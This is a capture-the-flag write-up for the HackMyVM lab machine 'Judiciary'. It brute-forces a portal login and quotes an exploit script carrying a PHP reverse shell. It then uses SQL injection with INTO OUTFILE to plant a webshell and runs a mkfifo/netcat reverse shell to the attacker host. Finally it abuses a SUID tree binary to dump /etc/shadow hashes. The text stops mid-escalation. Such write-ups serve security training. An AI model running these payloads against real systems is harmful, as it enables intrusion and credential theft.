Post

Write-up Judiciary on HackMyVM

Image Judiciary is a challenging machine that mirrors a compromised judicial records management infrastructure under threat by the ‘NullSec Collective’. Breach mechanics require weaponizing standard logic gate parameters across web, database, and system binary boundaries to climb up to root privileges.

  • Machine: Judiciary
  • Difficulty: Medium
  • Keywords: HTTP Brute Forcing, SQLi, SUID tree, arbitrary file leak, Linux Privilege Escalation.

Get ready to rumble!

Getting started

Every successful breach simulation begins with active network reconnaissance to isolate the target asset within our virtual subnet environment.

We run an initial ARP sweep across the local network interface to detect active virtual NIC profiles.

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(emvee㉿kali)-[~/Documents/Judiciary]
└─$ sudo arp-scan --localnet
Interface: eth0, type: EN10MB, MAC: 08:00:27:24:46:73, IPv4: 10.0.2.3
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.2.1        52:54:00:12:35:00       QEMU
10.0.2.2        08:00:27:95:96:37       PCS Systemtechnik GmbH
10.0.2.29       08:00:27:0a:7c:ae       PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.995 seconds (128.32 hosts/sec). 3 responded

┌──(emvee㉿kali)-[~/Documents/Judiciary]
└─$ ip=10.0.2.29

The target machine is identified on IP node 10.0.2.29. We store this into a terminal environment variable for streamlined deployment execution.

Enumeration

Next, we conduct a comprehensive, ports scanning cycle combined with standard script logic (-sC) and engine version detection (-sV) to expose the network footprint.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(emvee㉿kali)-[~/Documents/Judiciary]
└─$ sudo nmap -sC -sV -T4 -p- $ip 
[sudo] password for emvee: 
Starting Nmap 7.98 ( https://nmap.org ) at 2026-10-05 20:24 +0200
Nmap scan report for 10.0.2.29
Host is up (0.00069s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.2p1 Ubuntu 2ubuntu3.6 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.66 ((Ubuntu))
|_http-server-header: Apache/2.4.66 (Ubuntu)
|_http-title: Home - The Judiciary Portal
MAC Address: 08:00:27:0A:7C:AE (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.83 seconds


The reconnaissance scan delivers crucial insights into the target operating surface:

  • Port 22 (SSH): Running OpenSSH 10.2p1 on a modern Ubuntu base. Useful for stable terminal hijacking once system user hashes are cracked.
  • Port 80 (HTTP): Running an Apache 2.4.66 server displaying the web application container title: Home - The Judiciary Portal. This indicates that our initial exploitation chain must target web layers.

image

At the top of the page, a crisp navigation menu offers standard public links: Home, Court Schedules, Jurisprudence, and About us. Tucked neatly beneath the layout sits the entry point we are ultimately looking for: the Legal Professionals Portal, marked by a prominent button prompting users to “Log in with eID / Bar Card.”

But rushing to the login screen would be a rookie mistake. A good hacker always reads the room first.

Right in the center of the page, a breaking press release catches our eye: High-Tech Crime – October 10, 2026. The state has officially launched a criminal trial against the notorious hacktivist collective known as NullSec. The charge? A massive, high-stakes server intrusion and data theft compromising state infrastructure. The sidebar confirms the case is currently active under docket number ZA-2026-4401: State vs. NullSec Collective.

This public announcement is pure gold. It tells us that the judiciary network is currently fighting off an active breach, and somewhere in those system logs lies our way in. However, to build a complete profile of our target and crack the credential format, we cannot rely on the homepage alone. We need to gather more intelligence.

Let’s begin our reconnaissance by inspecting the other available pages, Court Schedules, Jurisprudence, and About us, one by one, to see what else the administrators left exposed in the public directory.

image

Our first stop is the Court Schedules page. The registry provides a clean table of upcoming public and restricted hearings. We scan the entries one by one, looking for a crack in the armor.

On October 16, there is a public tax fraud case (CR-2026-8819), followed by corporate disputes and environmental reviews later in the month. Finally, we spot our target docket: on November 15, 2026, ZA-2026-4401: State vs. NullSec Collective is scheduled for 02:00 PM in High-Security Vault 4, marked as strictly Restricted. While this confirms the high-security nature of the case, the page itself doesn’t offer any immediate technical leverage or credential leaks. It is a dead end for initial access.

Disappointed but not discouraged, we move along the menu bar to inspect the next public page: Jurisprudence.

image

We land on the Jurisprudence Bank page, hoping to find an unredacted PDF or a careless comment left behind by a clerk. Instead, we find a repository of published rulings and historical verdicts.

Right at the top sits an Interlocutory Ruling for our target case: State of the Netherlands v. NullSec Hacktivist Collective (Case 4401). The summary describes a fierce legal battle regarding whether compromised digital server access logs can even be admitted as primary evidence. The defense counsel, representing NullSec, argued that the network logs were obtained illegally. The court, however, ruled the evidence admissible under strict, in-camera parameters. There is a link to View official ruling archive →, but clicking it leads to a heavily sanitized public text.

Below that, we see final judgments for phishing operations (CR-2026-1092) and corporate liability evaluation (CR-2026-8819), along with registry filters that are locked tight.

At the bottom of the page, a subtle warning box catches our attention: Restricted Access. It states that unredacted full-text verdicts are exclusively accessible to registered attorneys and court clerks, followed by another link to the Professional Login.

Once again, no juice attack vector is available yet. Publicly available judicial archives are clean. No credentials, no low-hanging fruit, and no software version leaks. Our choices are narrowing. With only one public page left unvisited in the main menu, we click on the final tab About us. It’s time to find out who runs this infrastructure. image

Our last hope for open source intelligence lies within the About the District Court page. We comb through the text, but it reads like a standard corporate brochure.

The site lists their mission statement regarding independent and effective justice, along with their core values: Independence, Impartiality, and Transparency. However, scrolling down brings us to a more serious section: a Digital Infiltration Response Notice. Here, the court acknowledges the recent malicious infrastructure incidents targeting vital government services and states that the Digital Integrity Division has heavily scaled up verification protocols to protect active trial database records.

Further down, we find statistics showing over 120 active magistrates and 45,000 resolved cases annually, alongside their physical contact address at Lady Justice Square 1337, Amsterdam. At the very bottom, a final prompt reads: Are you a defense counsel or clerk looking for digital archives? Go to Portal Login.

Once again, no names, no exposed configuration configurations, and no leaked IDs. The public-facing side of the website is entirely airtight.

Realizing there is nothing left to exploit from a passive browsing perspective, we make a strategic decision to navigate back to the Home page. We have confirmed two undeniable facts during our tour: the network is actively being audited due to the NullSec breach, and the only way to pivot deeper into the system is to face the Portal Login head-on. It’s time to stop looking at public announcements and start breaking our way through the credential gate.

image

Back on the homepage, we follow the main lead and click on “Read full case details →” for the NullSec Collective trial. This action opens a public release dossier titled Case Dossier: State vs. NullSec Collective (ZA-2026-4401), and it immediately delivers the payload of intelligence we desperately needed.

As we read through the litigation metadata, the actors of this digital battlefield are finally revealed:

  • Presiding Justice: Judge Mental
  • Lead Prosecutor: Victor Verdict
  • The Defendant: Robin Banks (the alleged mastermind behind the NullSec compromises)
  • Defense Counsel: Attorney Ali Bee

Next to Ali Bee’s name sits the golden ticket: her verified professional badge number: BAR-1337-NL.

The dossier goes on to explain that due to the severity of the cyber intrusion, the court registry has locked down the network. Crucially, the text notes that Attorney Bee’s specialized registry profile remains the sole gateway authorized to interact with the high-tech defense briefs for this cluster. If we want to see the evidence files and exploit the backend, we must impersonate Ali Bee.

At the bottom of the page, a Registry Notice for Legal Clerks solidifies our tactical plan. It notes that standard index searches using plain names are suspended, and clerks must enter the attorney’s verified professional badge identification sequence following the strict format: BAR-XXXX-NL.

We now have everything we need to mount an attack:

  1. We know our target user is Ali Bee.
  2. We have her exact username: BAR-1337-NL.
  3. We have deduced the exact structural format of the court’s authentication strings (BAR-XXXX-NL), which confirms the dummy accounts in the registry likely span from BAR-1000-NL to BAR-2000-NL.

With this intelligence in hand, we leave the public portal behind and navigate straight to the Professional Login page. It’s time to spin up Crunch and Hydra to force our way through the gates.

image

We navigate to the secure login screen (login.php) to test our collected intelligence. The interface is remarkably stark and locked down. Unlike public portals, there are no helpful HTML placeholders like e.g., BAR-1000-NL inside the inputs, and no explicit formatting hints are displayed on the card.

The screen simply demands two parameters: a Professional Identity Number (BAR-ID) and a Password, alongside a notice stating: “Secure access for verified legal professionals or use registry credentials.”

This minimalist design means a blind brute-force attack would get lost in the noise. However, because we thoroughly audited the public Case Dossier (ZA-2026-4401) beforehand, we already hold the keys to this structural puzzle:

  1. We know from the dossier’s registry notice that the target format is strictly BAR-XXXX-NL (where XXXX represents a 4-digit sequence spanning from 0000 to 9999).
  2. We know our specific target is the defense counsel, Ali Bee, whose exact identity code was leaked as BAR-1337-NL.

The login form uses secure prepared statements, meaning standard SQL injection authentication bypasses will fail. We have the exact user identity, but we lack the passcode. Spraying the entire rockyou.txt wordlist against the form would be loud, inefficient, and likely trigger monitoring systems.

Instead, we opt for an intelligent, context driven approach. By analyzing the linguistic theme of our target application (the judiciary infrastructure), we can isolate highly specific legal, judicial, and case-related keywords. We extract a custom wordlist directly from rockyou.txt using a refined regular expression.

1
2
3
4
5
6
7
┌──(emvee㉿kali)-[~/Documents/Judiciary]
└─$ grep -i -E "judiciary|court|lawyer|attorney|judge|legal|law|justice|gavel|verdict|defense|prosecutor|counsel|supreme|alibi|clerk|docket|evidence|brief|motion" /usr/share/wordlists/rockyou.txt > passwords.txt 

┌──(emvee㉿kali)-[~/Documents/Judiciary]
└─$ wc passwords.txt                  
 13411  13541 145161 passwords.txt

This operations drops our keyspace down from millions of chaotic strings to a highly potent stash of 13,411 context specific passwords.

Since we have a confirmed, static username identity for the active defense counsel, we do not need to cycle through user accounts. We feed our unique identifier and the freshly generated dictionary file into our multi threaded custom authentication brute forcer, brutus.py.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(emvee㉿kali)-[~/Documents/Judiciary]
└─$ python3 brutus.py -u http://10.0.2.29/login.php -l BAR-1337-NL -P passwords.txt -t 40 -m R -c ""

    ▄▄▄▄▄▄▄▄▄▄   ▄▄▄▄▄▄▄▄▄▄   ▄▄▄▄   ▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄   ▄▄▄▄   ▄▄▄▄▄▄▄▄▄▄ 
    ███▓┌─ ███▓┐ ███▓┌─ ███▓┐ ███▓│  ███▓│    ███▓┌── ███▓│  ███▓│ ▄██▓┌─ ███▓│
    ████▄▄▄██▀┌┘ ████▄▄▄██▀┌┘ ███▓│  ████│ ░░ ███▓│░░ ███▓│  ████│ ▀███▄▄▄▄▄ ─┘
    ███▓┌─ ███▄┐ ███▓┌─ ███▄┐ ███▓│  ███▓│ ▒▒ ███▓│▒▒ ███▓│  ███▓│ ▄▄▄▄┌─ ███▓│
    ▓███▄▄▄█▓┌─┘ ▓███│  ███▓│ └▓██▄▄▄█▓┌─┘ ▀▀ ███▓│▀▀ └▓██▄▄▄█▓┌─┘ ▓███▄▄▄██▓┌┘
     ────────┘    ───┘   ───┘   ───────┘       ───┘     ───────┘    ─────────┘ 
    
[*] Target Endpoint: http://10.0.2.29/login.php
[*] Evaluation Mode: R | Criteria: ''
[*] Total Keyspace  : 13411 pairs
[*] Deployment Pools: 40 active connections
[*] Configured Agent: brutus
[*] Route Proxy Base: None
[*] Execution Started: 2026-10-04 19:01:59

[+] INFILTRATION CREDENTIALS DISCOVERED!                                                                      
[+] Username: BAR-1337-NL
[+] Password: thebestlawyer
[*] Execution Ended  : 2026-10-04 19:02:06
[*] Total Duration   : 7.20 seconds

The multi threaded engine sweeps through the custom keyspace in just 7.20 seconds. The lack of endpoint throttling on the registry gateway allows us to instantly verify the correct matching profile block.

We have successfully cracked the gateway:

  • Username: BAR-1337-NL
  • Password: thebestlawyer

image

We drop the credentials directly into the login form and watch the gate open. We are inside the authenticated perimeter.

image

Upon successful authentication, the server sets our session token and redirects us to dashboard.php. We are officially inside the Attorney Central Desk profile of Ali Bee (BAR-1337-NL).

The page instantly reflects the high-stakes environment under the hood. A large, crimson advisory banner warns users: “CRITICAL IT ADVISORY: SECURITY INCIDENT MITIGATION IN PROGRESS”. The text notes that the Judicial Systems Command is actively working to isolate an ongoing infrastructure intrusion triggered by the very group we read about on the homepage: the NullSec Collective.

The dashboard maps out all active high-tech defense mandates legally assigned to Ali Bee’s profile. Clicking any of these references takes us deeper into the case:

  1. ZA-2026-4401: State vs. NullSec Collective (Defendant: Robin Banks) - On Trial
  2. ZA-2026-1092: Port Authority vs. BytePirates Group (Defendant: Jan de Hacker) - Scheduled
  3. ZA-2026-3112: Central Bank vs. CEO Fraud Syndicate (Defendant: Phish Hamilton) - Review
  4. ZA-2026-5055: Ministry of Defense vs. BotNet Controller (Defendant: Sam Snerk) - Active
  5. ZA-2026-7781: Aerospace Labs vs. APT-42 Shadow Group (Defendant: Elena Rostova) - Awaiting

By opening the file for case ZA-2026-4401, we uncover an archived chat log containing a cryptic riddle left behind by the intruders. A closer analysis of the conversation reveals subtle indicators pointing toward a local privilege escalation vector they have deliberately engineered for future infrastructure deployment.

image

While digging through the isolated case directories of case ZA-2026-4401, we stumble upon a highly valuable asset left behind in the filesystem: a backup file of an offensive tool titled nullsec_exploit.py.bak. We use curl to review the file contents directly from the web root.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
┌──(emvee㉿kali)-[~/Documents/Judiciary]
└─$ curl http://10.0.2.29/uploads/ZA-2026-4401/BAR-1337-NL/nullsec_exploit.py.bak
import sys
import requests

if len(sys.argv) < 5:
    print("Usage: python3 nullsec_exploit.py <XXXX> <PHPSESSID> <LHOST> <LPORT>")
    print("Example: python3 nullsec_exploit.py 1234 abcde12345... 10.0.2.15 4444")
    sys.exit(1)

bar_suffix = sys.argv[1]
session_id = sys.argv[2]
lhost = sys.argv[3]
lport = sys.argv[4]

full_bar_number = f"BAR-{bar_suffix}-NL"
target_url = "http://judiciary.hmv"
session_cookie = {"PHPSESSID": session_id}

shell_payload = f'<?php $sock=fsockopen("{lhost}",{lport});exec("/bin/sh -i <&3 >&3 2>&3");?>'

payload_data = {
    'bar_number_auth': full_bar_number,
    'document_type': 'Evidentiary_Brief',
    'destination_vault': 'judiciary'
}

files = {
    'attached_package': ('malicious_motion.phtml', shell_payload.encode(), 'application/x-httpd-php')
}

print(f"[*] Simulating high-privileged e-filing transmission for account: {full_bar_number}")
print(f"[*] Deploying reverse shell payload targeting execution callback to {lhost}:{lport}")
print(f"[*] Target gateway: {target_url}")

try:
    response = requests.post(target_url, data=payload_data, files=files, cookies=session_cookie, timeout=10)
    
    if response.status_code == 200:
        print("[+] Transmission sequence finished.")
        print("[+] Reverse shell payload successfully ingested.")
    else:
        print(f"[-] Gateway returned unexpected status: {response.status_code}")
except Exception as e:
    print(f"[-] Interception sequence failed: {e}")

This Python script is an automated exploit designed to interact with a high-privileged backend handler at http://judiciary.hmv. By reading through its logic, we can glean critical insights into the internal upload rules:

  1. Dynamic Parameterization: The script requires four command-line arguments: a 4-digit BAR suffix (XXXX), our current authenticated PHPSESSID cookie, and a local listening host (LHOST) and port (LPORT) for receiving the reverse callback.
  2. The Extension Bypass Rule: The code explicitly names the payload file malicious_motion.phtml and content-types it as application/x-httpd-php. This reveals that the webserver’s execution parser evaluates .phtml extensions as native PHP, bypassing rigid .php filtering policies while maintaining execution logic.
  3. The Embedded Reverse Shell: It compiles a compact, native PHP reverse shell payload designed to establish a duplex network stream directly into a listening agent.
    1
    
     <?php $sock=fsockopen("{lhost}",{lport});exec("/bin/sh -i <&3 >&3 2>&3");?>
    

This code acts as a cheat sheet for our target infrastructure. However, because the frontpage upload portals are currently disabled we cannot use this scenario.

Instead of this scenario we have to go back to the dashboard of the lawyer.

Initial access

On the dashboard, we notice a module labeled System Ingestion Log Query featuring an input field designed to search through archive profiles. This configuration immediately signals a potential SQL Injection (SQLi) vector. To test this entry point and verify if we can force the backend to render the entire database index on the website, we submit a classic SQLi payload.

'or 1 = 1 ; -- -

image

If there is a miconfiguration we are able to create a new file on the server. In this case we create a new PHP webshell on the victim.

' UNION SELECT '<?php system($_GET["cmd"]); ?>', '2' INTO OUTFILE '/var/www/html/uploads/shell.php'-- -

image

Next, we navigate to the following URL to interact with our newly deployed web shell and execute the id command to verify our execution privileges.

1
http://10.0.2.29/uploads/shell.php?cmd=id

image

The output confirms that the command executes successfully under the context of the www-data system account. This is an excellent indicator, as it verifies that the application layer is processing our system directives flawlessly and that we hold the necessary environment privileges to initialize a stable reverse shell back to our attacker machine.

Before passing this configuration to the exploit string, we prepare a local terminal interface network listener using Netcat (nc).

1
2
3
┌──(emvee㉿kali)-[~/Documents/Judiciary]
└─$ nc -lvp 8888 
listening on [any] 8888 ...

Since the shell.php backdoor successfully parses system strings, we look to establish an interactive socket bridge back to our security testing terminal. Standard basic callbacks can fail on rigid modern systems, so we deploy a robust, named pipe (mkfifo) payload execution vector.

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.0.2.3 8888 >/tmp/f

To ensure the web gateway parses the control parameters perfectly without splitting the execution query, we convert the malicious string into its URL-encoded format.

1
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.0.2.3%208888%20%3E%2Ftmp%2Ff

image

The moment the web server processes our input, the named pipe triggers an internal connection callback. Our local listener instantly catches the transmission, landing us straight inside the operating layer of the machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(emvee㉿kali)-[~/Documents/Judiciary]
└─$ nc -lvp 8888
listening on [any] 8888 ...
10.0.2.29: inverse host lookup failed: Unknown host
connect to [10.0.2.3] from (UNKNOWN) [10.0.2.29] 41596
sh: 0: can't access tty; job control turned off
$ whoami;id;hostname
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
judiciary
$ 


We are officially inside the target network structure! Our access is currently running restricted underneath the default web server identity footprint: www-data (UID 33). Job control is disabled, but we have a stable foothold on host judiciary to begin local enumeration for privilege escalation pathways.

Now that we possess an interactive low privileged foothold as www-data, our objective shifts to mapping the local kernel and binary landscape for security misconfigurations

Privilege escalation

We start our local enumeration cycle by searching for executable binaries that have the SUID (Set Owner User ID) bit enabled. These files always run with the privileges of the file owner (which is often root), making them a prime target for privilege escalation if misconfigured.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/cargo/bin/sudo
/usr/lib/cargo/bin/su
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/tree
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/passwd
/usr/bin/su
/usr/bin/ntfs-3g
/usr/bin/umount
/usr/bin/chfn
/usr/bin/sudo.ws
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/gpasswd
/snap/core24/2124/usr/bin/chfn
/snap/core24/2124/usr/bin/chsh
/snap/core24/2124/usr/bin/gpasswd
/snap/core24/2124/usr/bin/mount
/snap/core24/2124/usr/bin/newgrp
/snap/core24/2124/usr/bin/passwd
/snap/core24/2124/usr/bin/su
/snap/core24/2124/usr/bin/sudo
/snap/core24/2124/usr/bin/umount
/snap/core24/2124/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core24/2124/usr/lib/openssh/ssh-keysign
/snap/core24/2124/usr/lib/polkit-1/polkit-agent-helper-1
/snap/core24/1643/usr/bin/chfn
/snap/core24/1643/usr/bin/chsh
/snap/core24/1643/usr/bin/gpasswd
/snap/core24/1643/usr/bin/mount
/snap/core24/1643/usr/bin/newgrp
/snap/core24/1643/usr/bin/passwd
/snap/core24/1643/usr/bin/su
/snap/core24/1643/usr/bin/sudo
/snap/core24/1643/usr/bin/umount
/snap/core24/1643/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core24/1643/usr/lib/openssh/ssh-keysign
/snap/core24/1643/usr/lib/polkit-1/polkit-agent-helper-1
$ 

While standard administrative commands like passwd, sudo, and su populate the default listings, a massive anomaly stands out immediately:

  • /usr/bin/tree The standard tree binary is running with active SUID root permissions! Because this is a utility meant for directory mapping, giving it SUID root allows us to leverage its native arguments to break straight out of our unprivileged container sandbox.

Armed with the knowledge that /usr/bin/tree carries an active SUID root configuration, we execute our specialized content disclosure bypass. By leveraging the --fromfile argument, we force the privileged process to treat the protected system shadow database as an input path file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
$ tree --fromfile /etc/shadow
/etc/shadow
├── _apt:*:20691:0:99999:7:::
├── _chrony:!*:20691::::::
├── backup:*:20691:0:99999:7:::
├── bin:*:20691:0:99999:7:::
├── daemon:*:20691:0:99999:7:::
├── dhcpcd:!*:20691:::::1:
├── fwupd-refresh:!*:20691::::::
├── games:*:20691:0:99999:7:::
├── irc:*:20691:0:99999:7:::
├── jcase:$y$j9T$w9dh6tKMIFeWrMzukZjOa
│   └── $mWO
│       └── fQGCxTkqCJfOCIuenTeV3WZncHLmFutOrr2wrR5:20730:0:99999:7:::
├── jmental:$y$j9T$29SCT5tatLzvIiqsZxCKx.$UBfg
│   └── IICOqW6M0ZKf
│       └── mlGHUZaXrlUWkknNdRlgojkn
│           └── :20730:0:99999:7:::
├── landscape:!:20691::::::
├── list:*:20691:0:99999:7:::
├── lp:*:20691:0:99999:7:::
├── mail:*:20691:0:99999:7:::
├── man:*:20691:0:99999:7:::
├── messagebus:!*:20691::::::
├── mlaw:$y$j9T$df1bLGJlkkg.2AixeAUzJ1$G0c.vQ2lNnb
│   └── VCm2eUTBZPIRK
│       └── u8a9sts7KUfEe7CnB:20730:0:99999:7:::
├── mysql:!*:20723:::::1:
├── news:*:20691:0:99999:7:::
├── nobody:*:20691:0:99999:7:::
├── polkitd:!*:20691::::::
├── proxy:*:20691:0:99999:7:::
├── root:*:20691:0:99999:7:::
├── sshd:!*:20723::::::
├── suedoe:$y$j9T$MLNg6eSO6L91QBZgRx09i
│   └── $qEzd6cUNruHeWP8TwFqZkVH46ILfGrLbuYJm7JZH7J2:20730:0:99999:7:::
├── sync:*:20691:0:99999:7:::
├── sys:*:20691:0:99999:7:::
├── syslog:!:20691::::::
├── systemd-network:!*:20691:::::1:
├── systemd-resolve:!*:20691:::::1:
├── tcpdump:!*:20691:::::1:
├── tss:!*:20691::::::
├── usbmux:!:20691::::::
├── uucp:*:20691:0:99999:7:::
├── uuidd:!:20691::::::
└── www-data:*:20691:0:99999:7:::

As shown above, tree has successfully leaked the contents of /etc/shadow! However, we hit a unique obstacle: modern Linux distributions hash credentials using yescrypt string formats. We paste the information in a local file on our Kali Linux machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
┌──(emvee㉿kali)-[~/Documents/Judiciary]
└─$ nano tree_shadow 

┌──(emvee㉿kali)-[~/Documents/Judiciary]
└─$ cat tree_shadow 
/etc/shadow
├── _apt:*:20691:0:99999:7:::
├── _chrony:!*:20691::::::
├── backup:*:20691:0:99999:7:::
├── bin:*:20691:0:99999:7:::
├── daemon:*:20691:0:99999:7:::
├── dhcpcd:!*:20691:::::1:
├── fwupd-refresh:!*:20691::::::
├── games:*:20691:0:99999:7:::
├── irc:*:20691:0:99999:7:::
├── jcase:$y$j9T$w9dh6tKMIFeWrMzukZjOa
│   └── $mWO
│       └── fQGCxTkqCJfOCIuenTeV3WZncHLmFutOrr2wrR5:20730:0:99999:7:::
├── jmental:$y$j9T$29SCT5tatLzvIiqsZxCKx.$UBfg
│   └── IICOqW6M0ZKf
│       └── mlGHUZaXrlUWkknNdRlgojkn
│           └── :20730:0:99999:7:::
├── landscape:!:20691::::::
├── list:*:20691:0:99999:7:::
├── lp:*:20691:0:99999:7:::
├── mail:*:20691:0:99999:7:::
├── man:*:20691:0:99999:7:::
├── messagebus:!*:20691::::::
├── mlaw:$y$j9T$df1bLGJlkkg.2AixeAUzJ1$G0c.vQ2lNnb
│   └── VCm2eUTBZPIRK
│       └── u8a9sts7KUfEe7CnB:20730:0:99999:7:::
├── mysql:!*:20723:::::1:
├── news:*:20691:0:99999:7:::
├── nobody:*:20691:0:99999:7:::
├── polkitd:!*:20691::::::
├── proxy:*:20691:0:99999:7:::
├── root:*:20691:0:99999:7:::
├── sshd:!*:20723::::::
├── suedoe:$y$j9T$MLNg6eSO6L91QBZgRx09i
│   └── $qEzd6cUNruHeWP8TwFqZkVH46ILfGrLbuYJm7JZH7J2:20730:0:99999:7:::
├── sync:*:20691:0:99999:7:::
├── sys:*:20691:0:99999:7:::
├── syslog:!:20691::::::
├── systemd-network:!*:20691:::::1:
├── systemd-resolve:!*:20691:::::1:
├── tcpdump:!*:20691:::::1:
├── tss:!*:20691::::::
├── usbmux:!:20691::::::
├── uucp:*:20691:0:99999:7:::
├── uuidd:!:20691::::::
└── www-data:*:20691:0:99999:7:::

Because these hashes natively contain forward slashes (/), tree interprets those characters as directory separators, breaking high entropy hashes (such as jmental, jcase, and mlaw) into multiline branching sub nodes (├── and └──).

John the Ripper cannot understand fragmented directory trees. To turn these broken lines back into valid cryptographic strings, we save the raw terminal output into a local file named tree_shadow and pass it into our purpose-built reconstruction utility: Tree-into-Shadow.py.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(emvee㉿kali)-[~/Documents/Judiciary]
└─$ python3 Tree-into-Shadow.py -i tree_shadow -o shadow.txt

⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠖⠒⠢⣄⣀⡀⣀⣀⠀⡠⠔⠒⠒⢤⡀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡴⡇⠀⠀⠀⠁⠠⡋⠀⠀⠙⠦⠀⠀⠀⠀⣧⠤⣀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⡠⠖⠊⠑⠲⣄⣀⣠⠖⠘⠛⠀⠀⠀⠀⠀⠀⠀⠀⠁⠀⢸⠇⠀⠀⠀
⠀⠀⠀⠀⠀⠀⣸⣇⡀⠀⠀⠈⠁⠀⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⠋⠲⣄⠀⠀
⠀⠀⠀⠀⣠⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡼⠂⠀
⠀⠀⠀⢀⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⢱⠀⠀⠀⠀⠀⠀⠀⠐⠺⡄⠀⠀
⠀⡠⠊⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⡀⠀⢀⡼⠀⠀⠀⠀⠀⠀⠀⠀⢀⡇⠀⠀
⢰⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠈⠉⠁⡹⠀⠀⠀⣄⣀⡠⠟⢘⣯⣀⠀⠀
⠸⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⡷⠺⡍⠒⣿⣀⣠⡀⠀⠀⠀⠀⠀⠈⠀⠈⡷⠀
⠀⢸⠚⠉⠀⠀⠀⠀⠀⠀⠀⠀⢀⣶⠺⡁⠀⠙⠚⠀⠁⡏⢧⣀⡄⠀⠀⠀⠀⠐⠒⣇⠀
⠀⠸⣄⣀⣰⠀⠀⠀⠀⠀⠀⠲⣟⣿⡦⣷⠀⠀⠀⠀⢠⠁⣸⣿⣷⢶⡆⢀⣤⡀⣠⡾⠁
⠀⠀⠀⠀⠱⣀⠀⢀⡱⠄⠤⠜⠋⠻⡄⠀⠀⠀⠀⠀⣸⣴⡿⣏⠀⢀⣭⣁⣀⡽⠁⠀⠀
⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠸⠀⠀⠀⠀⠀⣿⡼⠁⠀⠉⠉⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡆⠀⠀⠀⠀⢿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ╔╦╗┬─┐┌─┐┌─┐  ┬┌┐┌┌┬┐┌─┐  ┌─┐┬ ┬┌─┐┌┬┐┌─┐┬ ┬
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣧⠀⠀⠀⠀⠸⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀  ║ ├┬┘├┤ ├┤   ││││ │ │ │  └─┐├─┤├─┤ │││ ││││
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡼⠁⠀⠀⠀⠀⠈⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀  ╩ ┴└─└─┘└─┘  ┴┘└┘ ┴ └─┘  └─┘┴ ┴┴ ┴─┴┘└─┘└┴┘
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡴⠒⢋⣁⡀⠀⠀⠀⠀⠀⠘⠢⢄⣀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠁⠉⠙⠒⠤⣘⣗⠒⠒⠒⠚⠛⠃⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
    
[+] Successfully reconstructed shadow file saved to: shadow.txt

